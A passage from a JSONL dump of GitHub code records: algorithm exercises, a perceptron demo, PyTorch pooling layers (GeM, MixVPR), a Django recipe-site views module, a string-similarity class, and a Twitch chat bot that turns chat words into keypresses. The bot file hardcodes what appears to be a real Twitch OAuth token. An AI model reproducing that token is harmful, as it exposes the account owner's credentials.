({h_quality})\")\r\n\r\n# Решение на Марио\r\n# number_of_snowballs = int(input())\r\n# best_snowball_quality = 0\r\n# best_snowball_data = \"\"\r\n#\r\n# for _ in range(number_of_snowballs):\r\n# weight = int(input())\r\n# time = int(input())\r\n# quality = int(input())\r\n#\r\n# result = (weight / time) ** quality\r\n#\r\n# if result > best_snowball_quality:\r\n# best_snowball_quality = result\r\n# best_snowball_data = f\"{weight} : {time} = {int(result)} ({quality})\"\r\n#\r\n# print(best_snowball_data)","repo_name":"StoyanovaT/SoftUni-Programming-Fundamentals-Python","sub_path":"02.data_types_and_variables/09.snowballs.py","file_name":"09.snowballs.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13716325294","text":"N = int(input())\n\nprimes = []\nis_prime = [True] * (N + 1)\nfor n in range(2, N + 1):\n if is_prime[n]:\n primes.append(n)\n m = n * n\n while m <= N:\n is_prime[m] = False\n m += n\n\nanswer = 0\nleft = 0\nright = 0\n\nif N == 1:\n print(0)\n exit(0)\n\nsubtotal = primes[0]\nwhile True:\n if left == len(primes):\n break\n if subtotal == N:\n answer += 1\n right += 1\n if right == len(primes):\n break\n subtotal += primes[right] - primes[left]\n left += 1\n elif subtotal > N:\n subtotal -= primes[left]\n left += 1\n else:\n right += 1\n if right == len(primes):\n break\n subtotal += primes[right]\nprint(answer)\n","repo_name":"nnoobbaagguu/Algorithm","sub_path":"Baekjoon Online Judge/1644.py","file_name":"1644.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13716631954","text":"import sys\n\ninput = sys.stdin.readline\n\nN = int(input().rstrip())\nstairs = [int(input().rstrip()) for _ in range(N)]\n\n\ndef solution():\n if N <= 2:\n answer = 0\n for i in range(N):\n answer += stairs[i]\n print(answer)\n return\n\n answers = [0] * N\n answers[0] = stairs[0]\n answers[1] = stairs[0] + stairs[1]\n answers[2] = max(stairs[0] + stairs[2], stairs[1] + stairs[2])\n for i in range(3, N):\n answers[i] = max(answers[i - 3] + stairs[i - 1] + stairs[i], answers[i - 2] + stairs[i])\n print(answers[N - 1])\n\n\nsolution()\n","repo_name":"nnoobbaagguu/Algorithm","sub_path":"Baekjoon Online Judge/2579.py","file_name":"2579.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22693471183","text":"\"\"\"\nclass ListNode:\n data = 0\n next = None\n def __int__(self, data = 0, next = None):\n self.data = data\n self.next = next\n \"\"\"\n\nclass Solution:\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n if head == None:\n return head\n \n cur = head.next\n prev = head\n\n while cur is not None:\n if cur.data == prev.data:\n prev.next = cur.next\n cur = cur.next\n else:\n cur = cur.next\n prev = prev.next\n \n return head\n","repo_name":"newpheeraphat/banana","sub_path":"Algorithms/LinkingList/T_RemoveElementLL.py","file_name":"T_RemoveElementLL.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5737166542","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# Percerptron Test Function\n# Group Member: Wei Tianjun / Tang Mingyang\n\n\ndef perceptron_test(seeds=99, num_obsevations=500, learning_rate=0.001, iteration_thres=0.002):\n print('-----Perception Test-----\\nSeed: ' + str(seeds) +\n '\\nSample Number: ' + str(num_obsevations*2))\n print('Learning Rate: ' + str(learning_rate) +\n '\\nIteration Threshold: ' + str(iteration_thres) + '\\n')\n # Initialize parameters\n np.random.seed(seeds)\n iteration_error = iteration_thres\n epoch = 0\n vec_x1 = np.random.multivariate_normal(\n [1, 0, -3], [[0, 0, 0], [0, 1, .75], [0, .75, 1]], num_obsevations)\n vec_x2 = np.random.multivariate_normal(\n [1, 1, 2], [[0, 0, 0], [0, 1, .75], [0, .75, 1]], num_obsevations)\n vec_x = np.vstack((vec_x1, vec_x2)).astype(np.float32)\n vec_y = np.hstack(\n (np.zeros(num_obsevations), np.ones(num_obsevations)))\n vec_w = np.ones(3, dtype=float) / 3\n # Exit when iteration error smaller than threshold\n while iteration_error >= iteration_thres:\n # Generate random data samples\n iteration_error = .0\n epoch += 1\n # Update parameters\n for index in range(vec_x.shape[0]):\n var_y = 1 if np.dot(vec_x[index], vec_w) > 0 else 0\n vec_w = vec_w + learning_rate * \\\n (vec_y[index] - var_y) * vec_x[index]\n iteration_error = iteration_error + np.abs(vec_y[index] - var_y)\n iteration_error /= vec_x.shape[0]\n print('Epoch: ' + str(epoch) + ' Error: ' + str(iteration_error))\n # Plot the samples and the linear classifier\n print('-----Iterations Completed-----')\n _ = plt.figure('Perceptron')\n axes = plt.subplot()\n axes.scatter(vec_x[:num_obsevations, 1],\n vec_x[:num_obsevations, 2], alpha=0.5)\n axes.scatter(vec_x[num_obsevations:, 1],\n vec_x[num_obsevations:, 2], c='green', alpha=0.5)\n plt.plot([-4, 5],\n [-(1/vec_w[2])*(vec_w[0] + -4 * vec_w[1]), -(1/vec_w[2])*(vec_w[0] + 5 * vec_w[1])])\n plt.annotate(r'$(%.3f)+(%.3f)x+(%.3f)y=0$' %\n (vec_w[0], vec_w[1], vec_w[2]), xy=(-4, -1.5))\n plt.show()\n\n\nif __name__ == \"__main__\":\n perceptron_test()\n","repo_name":"Joinn99/CV_Course","sub_path":"Practice1_Perceptron/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32262282686","text":"import socket\r\nfrom Mock_input import PressKey, ReleaseKey\r\nimport time\r\n \r\n### Options (Don't edit)\r\nSERVER = \"irc.twitch.tv\" # server\r\nPORT = 6667 # port\r\n### Options (Edit this)\r\nPASS = \"oauth:61typskxa4tkrdoy1zypux508ie00r\" # bot password can be found on https://twitchapps.com/tmi/\r\nBOT = \"pig_bot\" # Bot's name [NO CAPITALS]\r\nCHANNEL = \"iampigss\" # Channal name [NO CAPITALS]\r\nOWNER = \"gabe\" # Owner's name [NO CAPITALS]\r\n \r\n### Functions\r\n \r\ndef sendMessage(s, message):\r\n messageTemp = \"PRIVMSG #\" + CHANNEL + \" :\" + message\r\n s.send((messageTemp + \"\\r\\n\").encode())\r\n \r\ndef getUser(line):\r\n separate = line.split(\":\", 2)\r\n user = separate[1].split(\"!\", 1)[0]\r\n return user\r\ndef getMessage(line):\r\n global message\r\n try:\r\n message = (line.split(\":\", 2))[2]\r\n except:\r\n message = \"\"\r\n return message\r\ndef joinchat():\r\n readbuffer_join = \"\".encode()\r\n Loading = True\r\n while Loading:\r\n readbuffer_join = s.recv(1024)\r\n readbuffer_join = readbuffer_join.decode()\r\n temp = readbuffer_join.split(\"\\n\")\r\n readbuffer_join = readbuffer_join.encode()\r\n readbuffer_join = temp.pop()\r\n for line in temp:\r\n Loading = loadingCompleted(line)\r\n sendMessage(s, \"Chat room joined!\")\r\n print(\"Bot has joined \" + CHANNEL + \" Channel!\")\r\n \r\ndef loadingCompleted(line):\r\n if (\"End of /NAMES list\" in line):\r\n return False\r\n else:\r\n return True\r\n### Code runs\r\ns_prep = socket.socket()\r\ns_prep.connect((SERVER, PORT))\r\ns_prep.send((\"PASS \" + PASS + \"\\r\\n\").encode())\r\ns_prep.send((\"NICK \" + BOT + \"\\r\\n\").encode())\r\ns_prep.send((\"JOIN #\" + CHANNEL + \"\\r\\n\").encode())\r\ns = s_prep\r\njoinchat()\r\nreadbuffer = \"\"\r\n \r\ndef Console(line):\r\n # gets if it is a user or twitch server\r\n if \"PRIVMSG\" in line:\r\n return False\r\n else:\r\n return True\r\n \r\n \r\nwhile True:\r\n try:\r\n readbuffer = s.recv(1024)\r\n readbuffer = readbuffer.decode()\r\n temp = readbuffer.split(\"\\n\")\r\n readbuffer = readbuffer.encode()\r\n readbuffer = temp.pop()\r\n except:\r\n temp = \"\"\r\n for line in temp:\r\n if line == \"\":\r\n break\r\n # So twitch doesn't timeout the bot.\r\n if \"PING\" in line and Console(line):\r\n msgg = \"PONG tmi.twitch.tv\\r\\n\".encode()\r\n s.send(msgg)\r\n print(msgg)\r\n break\r\n # get user\r\n user = getUser(line)\r\n # get message send by user\r\n message = getMessage(line)\r\n # for you to see the chat from CMD\r\n print(user + \" > \" + message)\r\n # sends private msg to the user (start line)\r\n PMSG = \"/w \" + user + \" \"\r\n \r\n if \"Up\" in message or \"up\" in message: #w\r\n PressKey(0x57)\r\n time.sleep(1/7)\r\n ReleaseKey(0x57)\r\n break\r\n elif \"Left\" in message or \"left\" in message: #a\r\n PressKey(0x41)\r\n time.sleep(1/7)\r\n ReleaseKey(0x41)\r\n break\r\n elif \"Down\" in message or \"down\" in message: #s\r\n PressKey(0x53)\r\n time.sleep(1/7)\r\n ReleaseKey(0x53)\r\n break\r\n elif \"Right\" in message or \"right\" in message: #d\r\n PressKey(0x44)\r\n time.sleep(1/7)\r\n ReleaseKey(0x44)\r\n break\r\n elif \"A\" in message: #f\r\n PressKey(0x46)\r\n time.sleep(1/7)\r\n ReleaseKey(0x46)\r\n break\r\n elif \"B\" in message or \"b\" in message: #shift\r\n PressKey(0x10)\r\n time.sleep(1/7)\r\n ReleaseKey(0x10)\r\n break\r\n elif \"Start\" in message or \"start\" in message: #space\r\n PressKey(0x58)\r\n time.sleep(1/7)\r\n ReleaseKey(0x58)\r\n break\r\n","repo_name":"gdelr/tpmp","sub_path":"botv2.py","file_name":"botv2.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74841436058","text":"\"\"\"empty message\n\nRevision ID: fb10a19b7d1d\nRevises: dc0b04d88ea0\nCreate Date: 2021-08-20 11:53:11.852463\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fb10a19b7d1d'\ndown_revision = 'dc0b04d88ea0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('cards', 'scryfall_set_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('cards', sa.Column('scryfall_set_id', sa.VARCHAR(), autoincrement=False, nullable=True))\n # ### end Alembic commands ###\n","repo_name":"jalethesh/python-graphene","sub_path":"migrations/versions/fb10a19b7d1d_.py","file_name":"fb10a19b7d1d_.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19189259358","text":"from typing import Any\n\nfrom . import RougeS\n\n__all__ = ['RougeSU']\n\n\nclass RougeSU(RougeS):\n r\"\"\"Rouge-SU similarity.\n\n Rouge-SU similarity :cite:`Lin:2004`, operating on character-level\n skipgrams\n\n .. versionadded:: 0.4.0\n \"\"\"\n\n def __init__(self, qval: int = 2, **kwargs: Any) -> None:\n \"\"\"Initialize RougeSU instance.\n\n Parameters\n ----------\n **kwargs\n Arbitrary keyword arguments\n\n\n .. versionadded:: 0.4.0\n\n \"\"\"\n super(RougeSU, self).__init__(qval=qval, **kwargs)\n\n def sim(self, src: str, tar: str, beta: float = 8) -> float:\n \"\"\"Return the Rouge-SU similarity of two strings.\n\n Parameters\n ----------\n src : str\n Source string for comparison\n tar : str\n Target string for comparison\n beta : int or float\n A weighting factor to prejudice similarity towards src\n\n Returns\n -------\n float\n Rouge-SU similarity\n\n Examples\n --------\n >>> cmp = RougeSU()\n >>> cmp.sim('cat', 'hat')\n 0.5\n >>> cmp.sim('Niall', 'Neil')\n 0.4020618556701031\n >>> cmp.sim('aluminum', 'Catalan')\n 0.1672384219554031\n >>> cmp.sim('ATCG', 'TAGC')\n 0.8\n\n\n .. versionadded:: 0.4.0\n\n \"\"\"\n return super(RougeSU, self).sim(\n '$' * (self._qval - 1) + src, '$' * (self._qval - 1) + tar, beta\n )\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n","repo_name":"chrislit/abydos","sub_path":"abydos/distance/_rouge_su.py","file_name":"_rouge_su.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"69"} +{"seq_id":"2615152471","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n# class to implement the GeM pooling layer, to substitute to the current Average Pooling layer of ResNet-18\nclass GeM(nn.Module):\n def __init__(self, p=3, eps=1e-6):\n super(GeM,self).__init__()\n # Define a tensor to be considered as a parameter of class nn.Module, so it will be available in parameters()\n # tensor of size 1 filled with ones*p (overall value: 3)\n # requires_grad: specify if the parameter requires the gradient\n self.p = nn.Parameter(torch.ones(1)*p, requires_grad=True)\n self.eps = eps\n\n def forward(self, x):\n # call the gem function and apply it to the descriptors\n return self.gem(x, p=self.p, eps=self.eps)\n \n def gem(self, x, p=3, eps=1e-6):\n # define the gem operation as follows:\n # apply a 2D average pooling operation on each feature map\n # input: descriptors limited in range [1e-6, inf) and we consider the values at the power of p\n # kernel size is a tuple considering size of the second to last dimension and the last one\n # ---> (h*w, the entire feature map) \n # returns a vector of size c (512)\n # each feature map is summarized by one value, with the formula of generalized mean that can be found on the paper\n # clamp with epsilon almost zero because it is required by the paper that the last layer is a relu\n return F.avg_pool2d(x.clamp(min=eps).pow(p), (x.size(-2), x.size(-1))).pow(1./p)\n \n def __repr__(self):\n return self.__class__.__name__ + '(' + 'p=' + '{:.4f}'.format(self.p.data.tolist()[0]) + ', ' + 'eps=' + str(self.eps) + ')'\n\n#class to implement the MixVPR\nclass FeatureMixerLayer(nn.Module):\n def __init__(self, in_dim, mlp_ratio=1):\n super(FeatureMixerLayer, self).__init__()\n self.mix = nn.Sequential(\n # apply Layer Normalization considering an input dimension of 49\n nn.LayerNorm(in_dim), \n # apply fc layer with input_features = 49 and output features 49*1\n nn.Linear(in_dim, int(in_dim * mlp_ratio)),\n # apply ReLU activation function: does not change the output dimension with respect to the input one\n nn.ReLU(),\n # apply fc layer with input_features = 49*1 and output features\n nn.Linear(int(in_dim * mlp_ratio), in_dim), \n )\n # in Figure 2 of the paper mixVPr we can see that the feature mixer(that will be repeated L times) is composed \n # exactly by these stages: normalization, projection, activation and projection\n # self.modules() = iterator over all the modules of the network\n for m in self.modules():\n if isinstance(m, (nn.Linear)):\n # if we are considering a fc layer, initialize the parameters, so that they will not be considered by autograd.\n # Fill the tensor of the weights of the layer with values from a truncated Normal distribution with standard deviation\n # 0.02 and mean 0.0, truncated at bounds -2.0 and 2.0\n nn.init.trunc_normal_(m.weight, std=0.02)\n if m.bias is not None:\n # if the biases of the layer are not None, fill them with 0s\n nn.init.zeros_(m.bias)\n\n def forward(self, x):\n # equation 2 of MixVPR paper\n return x + self.mix(x)\n\n\nclass MixVPR(nn.Module):\n def __init__(self,\n in_channels=512,\n in_h=7,\n in_w=7,\n out_channels=512,\n mix_depth=1,\n mlp_ratio=1,\n out_rows=4,\n ) -> None:\n super(MixVPR,self).__init__()\n\n self.in_h = in_h # height of input feature maps\n self.in_w = in_w # width of input feature maps\n self.in_channels = in_channels # depth of input feature maps\n \n self.out_channels = out_channels # depth wise projection dimension\n self.out_rows = out_rows # row wise projection dimesion\n\n self.mix_depth = mix_depth # L the number of stacked FeatureMixers\n self.mlp_ratio = mlp_ratio # ratio of the mid projection layer in the mixer block\n\n hw = in_h*in_w #7*7 = 49\n # define a mix layer as a series of L = 4 FeatureMizerLayer\n self.mix = nn.Sequential(*[\n FeatureMixerLayer(in_dim=hw, mlp_ratio=mlp_ratio)\n for _ in range(self.mix_depth)\n ])\n # define a channel projection operation ---> fc layer considering (512, 512)\n self.channel_proj = nn.Linear(in_channels, out_channels)\n # define a row projection operation ---> fc layer considering (49, 4)\n self.row_proj = nn.Linear(hw, out_rows)\n\n def forward(self, x):\n #Input: (num_batches, 512, 7, 7)\n x = x.flatten(2)\n # for each image (size 0) sent to the backbone obtains c channels (size 1) of dimension n = h * w ---> flatten third and fourth dim\n #intermediate_output: (256, 512, 49) ---> (batch_size, c, n)\n x = self.mix(x)\n #intermediate_output: (256, 512, 49)\n # Now we want to reduce the dimensionality through channel wise and row wise projections with two fc layers\n x = x.permute(0, 2, 1) #permute dimensions, invert second and third dimension\n #intermediate_output: (256, 49, 512) ---> (batch_size, n, c)\n # Reduce number of channels from in_channels to out_channels\n x = self.channel_proj(x)\n #intermediate_output: (256, 49, 512) ---> (batch_size, n, out_c)\n x = x.permute(0, 2, 1)\n #intermediate_output: (256, 512, 49) ---> (batch_size, out_c, n)\n # Reduce number of rows from h*w to out_rows\n x = self.row_proj(x)\n #intermediate_output: (256, 512, 4)\n # x.flatten(1) ---> consider the descriptors flattened to (batch_size, out_c * out_rows), then apply on this L2 normalization\n x = F.normalize(x.flatten(1), p=2, dim=-1)\n #output: (256, 2048)\n return x\n\n#class of a potential new aggregator\nclass MyAggregator(nn.Module):\n def _init_(self, eps=1e-6):\n super(MyAggregator,self)._init_()\n self.eps = eps\n\n def forward(self, x):\n x=self.summarize_feature_map(x)\n x=x.flatten(1)\n #print(\"final output\")\n #print(x.size())\n return x\n \n def summarize_feature_map(self, x, eps=1e-6):\n kernel_size =x.size(-2)//2+1 #x.size(-1)//2+1\n mean = F.avg_pool2d(x.clamp(min=eps), (kernel_size, kernel_size), stride=(x.size(-2)//2))\n mean_of_squared= F.avg_pool2d(x.clamp(min=eps).pow(2), (kernel_size, kernel_size), stride=(x.size(-2)//2))\n \"\"\"print(\"size of mean and mean of squares:\")\n print(mean.size())\n print(mean_of_squared.size())\"\"\"\n estimator_v = ((mean_of_squared - mean.pow(2))*(kernel_size**2)/(kernel_size**2 - 1)).flatten(2)\n mean=mean.flatten(2)\n result=torch.stack((mean,estimator_v), dim=-1).flatten(2)\n #print(\"output size after aggregating feature map\")\n #print(result.size())\n return result\n ","repo_name":"cmmedoro/project_codebase","sub_path":"self_modules.py","file_name":"self_modules.py","file_ext":"py","file_size_in_byte":7174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35521441030","text":"import io\nimport json\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.db.models import F\nfrom django.http import FileResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic import (CreateView, DeleteView, DetailView,\n ListView, TemplateView, UpdateView, View)\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.pdfgen import canvas\n\nfrom foodgram.settings import (ABOUT_AUTHOR_TEXT, ABOUT_AUTHOR_TITLE,\n ABOUT_TECH_TEXT, ABOUT_TECH_TITLE)\n\nfrom .forms import CreationRecipeForm\nfrom .models import (Basket, EatingTime, Favorite, Ingredient, Recipe,\n RecipeIngredient, Subscription)\n\npdfmetrics.registerFont(TTFont('Verdana', 'Verdana.ttf'))\n\nUser = get_user_model()\n\n\nclass CheckDataCustomMixin:\n\n def check_data(self, data, model):\n if 'id' not in data:\n return JsonResponse(\n {'erorr': 'incorrect request'},\n status=400,\n safe=False\n )\n return get_object_or_404(model, id=data['id'])\n\n\nclass PrepareDataCustomMixin:\n\n def prepare_data(self, request):\n request.POST = request.POST.copy()\n ingredients = dict(\n value.split(';') for key, value in request.POST.dict().items()\n if key.startswith('ingredient'))\n for key in ingredients.keys():\n request.POST.update({'ingredient': key})\n return ingredients\n\n def create_recipes(self, ingredients, form):\n if ingredients:\n for item in form.cleaned_data['ingredient']:\n RecipeIngredient.objects.create(\n recipe=self.object,\n ingredient=item,\n amount=ingredients[item.name])\n\n\nclass GetContextCustomMixin:\n\n def add_data_to_context(self, context):\n if self.request.user.is_authenticated:\n favorite_recipes = Recipe.objects.filter(\n favorite_user__user=self.request.user).values_list(\n 'id', flat=True)\n basket_recipes = Recipe.objects.filter(\n buyer__user=self.request.user).values_list('id', flat=True)\n context['basket_recipes'] = basket_recipes\n context['favorite_recipes'] = favorite_recipes\n tags = EatingTime.objects.all()\n context['tags'] = tags\n return context\n\n\nclass AboutView(TemplateView):\n template_name = 'recipes/about_page.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if 'author' in self.request.path:\n context['title'] = ABOUT_AUTHOR_TITLE\n context['text'] = ABOUT_AUTHOR_TEXT\n else:\n context['title'] = ABOUT_TECH_TITLE\n context['text'] = ABOUT_TECH_TEXT\n return context\n\n\nclass PurchaseView(LoginRequiredMixin, CheckDataCustomMixin, View):\n\n def get(self, request, *args, **kwargs):\n if kwargs['id']:\n relation = get_object_or_404(Basket, id=kwargs['id'])\n relation.delete()\n return redirect('recipes:recipe_basket')\n\n def post(self, request, *args, **kwargs):\n data = json.loads(request.body)\n recipe = self.check_data(data, Recipe)\n relation = False\n if recipe and not recipe.buyer.filter(\n user=request.user).exists():\n relation = Basket.objects.create(\n user=request.user, recipe=recipe)\n if relation:\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False\n )\n return JsonResponse(\n {'success': False},\n status=404,\n safe=False\n )\n\n def delete(self, request, *args, **kwargs):\n data = json.loads(request.body)\n recipe = self.check_data(data, Recipe)\n relation = get_object_or_404(\n Basket, recipe=recipe, user=request.user)\n relation.delete()\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False\n )\n\n\nclass IngredientView(View):\n\n def get(self, request, *args, **kwargs):\n queryset = list(Ingredient.objects.filter(\n name__icontains=self.request.GET.get('query'))\n .annotate(dimension=F('unit'), title=F('name'))\n .values('title', 'dimension'))\n return JsonResponse(\n queryset,\n status=200,\n safe=False\n )\n\n\nclass FavoriteView(LoginRequiredMixin, CheckDataCustomMixin, View):\n\n def post(self, request, *args, **kwargs):\n data = json.loads(request.body)\n recipe = self.check_data(data, Recipe)\n relation = False\n if recipe and not recipe.favorite_user.filter(\n user=request.user).exists():\n relation = Favorite.objects.create(\n user=request.user,\n recipe=recipe\n )\n if relation:\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False\n )\n return JsonResponse(\n {'success': False},\n status=404,\n safe=False\n )\n\n def delete(self, request, *args, **kwargs):\n data = json.loads(request.body)\n recipe = self.check_data(data, Recipe)\n relation = get_object_or_404(\n Favorite, recipe=recipe, user=request.user)\n relation.delete()\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False\n )\n\n\nclass SubscriptionView(LoginRequiredMixin, CheckDataCustomMixin, View):\n\n def post(self, request, *args, **kwargs):\n data = json.loads(request.body)\n relation = False\n author = self.check_data(data, User)\n if author != request.user and not author.following.filter(\n user=request.user).exists():\n relation = Subscription.objects.create(\n author=author, user=request.user)\n if relation:\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False\n )\n return JsonResponse(\n {'success': False},\n status=404,\n safe=False\n )\n\n def delete(self, request, *args, **kwargs):\n data = json.loads(request.body)\n author = self.check_data(data, User)\n relation = get_object_or_404(\n Subscription, author=author, user=request.user)\n relation.delete()\n return JsonResponse(\n {'success': True},\n status=200,\n safe=False)\n\n\nclass RecipeCreateView(LoginRequiredMixin, PrepareDataCustomMixin, CreateView):\n form_class = CreationRecipeForm\n success_url = reverse_lazy('recipes:index')\n template_name = 'recipes/form_recipe.html'\n\n def post(self, request, *args, **kwargs):\n self.ingredients = self.prepare_data(request)\n return super().post(request, *args, **kwargs)\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n self.object.author = self.request.user\n self.object.save()\n for item in form.cleaned_data['tags']:\n self.object.tags.add(item)\n self.create_recipes(self.ingredients, form)\n return HttpResponseRedirect(self.get_success_url())\n\n\nclass RecipeEditView(LoginRequiredMixin, PrepareDataCustomMixin, UpdateView):\n model = Recipe\n form_class = CreationRecipeForm\n success_url = 'recipes:recipe'\n template_name = 'recipes/form_recipe.html'\n\n def get_success_url(self):\n return reverse_lazy(\n self.success_url,\n kwargs={'pk': self.kwargs.get('pk')}\n )\n\n def get(self, request, *args, **kwargs):\n recipe = self.get_object()\n if recipe.author != request.user:\n return HttpResponseRedirect(self.get_success_url())\n return super().get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n recipe = self.get_object()\n if recipe.author != request.user:\n return HttpResponseRedirect(self.get_success_url())\n self.ingredients = self.prepare_data(request)\n return super().post(request, *args, **kwargs)\n\n def form_valid(self, form):\n self.object = form.save()\n RecipeIngredient.objects.filter(recipe=self.object.id).delete()\n self.create_recipes(self.ingredients, form)\n return HttpResponseRedirect(self.get_success_url())\n\n\nclass RecipeDeleteView(LoginRequiredMixin, DeleteView):\n model = Recipe\n success_url = reverse_lazy('recipes:index')\n\n def get(self, request, *args, **kwargs):\n return self.delete(request, *args, **kwargs)\n\n def delete(self, request, *args, **kwargs):\n self.object = self.get_object()\n success_url = self.get_success_url()\n if self.object.author == request.user:\n self.object.delete()\n return HttpResponseRedirect(success_url)\n\n\nclass ProfileRecipesListView(GetContextCustomMixin, ListView):\n paginate_by = 12\n template_name = 'recipes/author_recipe.html'\n\n def get_queryset(self):\n self.author = get_object_or_404(User, id=self.kwargs['pk'])\n tags = self.request.GET.getlist('tag')\n if tags:\n return Recipe.objects.filter(author=self.author).filter(\n tags__slug__in=tags).distinct()\n return Recipe.objects.filter(author=self.author)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context = self.add_data_to_context(context)\n if self.request.user.is_authenticated:\n context['following'] = self.author.following.filter(\n user=self.request.user).exists()\n context['author'] = self.author\n return context\n\n\nclass RecipeListView(GetContextCustomMixin, ListView):\n paginate_by = 12\n template_name = 'recipes/index.html'\n\n def get_queryset(self):\n tags = self.request.GET.getlist('tag')\n if tags:\n return Recipe.objects.filter(tags__slug__in=tags).distinct()\n return Recipe.objects.all()\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n return self.add_data_to_context(context)\n\n\nclass RecipeDetailView(DetailView):\n model = Recipe\n template_name = 'recipes/single_page.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.request.user.is_authenticated:\n object = self.get_object()\n favorite_recipes = Favorite.objects.filter(\n recipe=object.id, user=self.request.user).exists()\n basket_recipes = Basket.objects.filter(\n recipe=object.id, user=self.request.user).exists()\n context['basket_recipes'] = basket_recipes\n context['favorite_recipes'] = favorite_recipes\n following = object.author.following.filter(\n user=self.request.user).exists()\n context['following'] = following\n return context\n\n\nclass BasketListView(LoginRequiredMixin, ListView):\n template_name = 'recipes/basket.html'\n context_object_name = 'basket'\n\n def get_queryset(self):\n return self.request.user.purchase.all()\n\n\nclass BasketDownloadView(LoginRequiredMixin, View):\n\n def get(self, request, *args, **kwargs):\n queryset = RecipeIngredient.objects.filter(\n recipe__buyer__user=request.user).prefetch_related('ingredient')\n value_for_file = self.get_value(queryset)\n return self.make_file(value_for_file)\n\n def get_value(self, data):\n ingredients = {}\n for item in data:\n if item.ingredient in ingredients:\n ingredients[item.ingredient] += item.amount\n else:\n ingredients[item.ingredient] = item.amount\n return ingredients\n\n def make_file(self, data):\n buffer = io.BytesIO()\n file = canvas.Canvas(buffer)\n file.setFont('Verdana', 8)\n pos_x, pos_y, count = 30, 830, 1\n for key, value in data.items():\n if count == 56:\n file.showPage()\n pos_y -= 15\n file.drawString(\n pos_x, pos_y,\n f'{key.name} : {value} {key.unit}'.encode()\n )\n count += 1\n file.showPage()\n file.save()\n buffer.seek(0)\n return FileResponse(\n buffer,\n as_attachment=True,\n filename='purchases.pdf')\n\n\nclass FollowListView(LoginRequiredMixin, ListView):\n paginate_by = 6\n model = Recipe\n template_name = 'recipes/follow.html'\n\n def get_queryset(self):\n return User.objects.prefetch_related('recipes').filter(\n following__user=self.request.user)\n\n\nclass FavoriteListView(LoginRequiredMixin, GetContextCustomMixin, ListView):\n paginate_by = 12\n model = Recipe\n template_name = 'recipes/favorite.html'\n\n def get_queryset(self):\n tags = self.request.GET.getlist('tag')\n if tags:\n return Recipe.objects.filter(\n favorite_user__user=self.request.user).filter(\n tags__slug__in=tags).distinct()\n return Recipe.objects.filter(favorite_user__user=self.request.user)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n return self.add_data_to_context(context)\n","repo_name":"myelemisearth/foodgram-project","sub_path":"recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4371970069","text":"import collections\ndef solution(clothes):\n answer = []\n total=1\n for i in range(len(clothes)):\n answer.append(clothes[i][1])\n dic=dict(collections.Counter(answer))\n for value in dic.values():\n total*=(int(value)+1)\n return total-1","repo_name":"ktmihs/CodingTest","sub_path":"programmers/고득점 Kit/[해시]-위장.py","file_name":"[해시]-위장.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"19521603411","text":"from collections import OrderedDict\n\nclass Solution:\n def firstUniqChar(self, s: str) -> str:\n d = OrderedDict()\n for item in s:\n d[item] = d.get(item, 0) + 1\n ans = ' '\n for k, v in d.items():\n if v == 1:\n ans = k\n break\n return ans","repo_name":"zhulf0804/Coding.Python","sub_path":"剑指offer/50_第一个只出现一次的字符.py","file_name":"50_第一个只出现一次的字符.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"8941147464","text":"# -*- coding: UTF-8 -*-\nimport 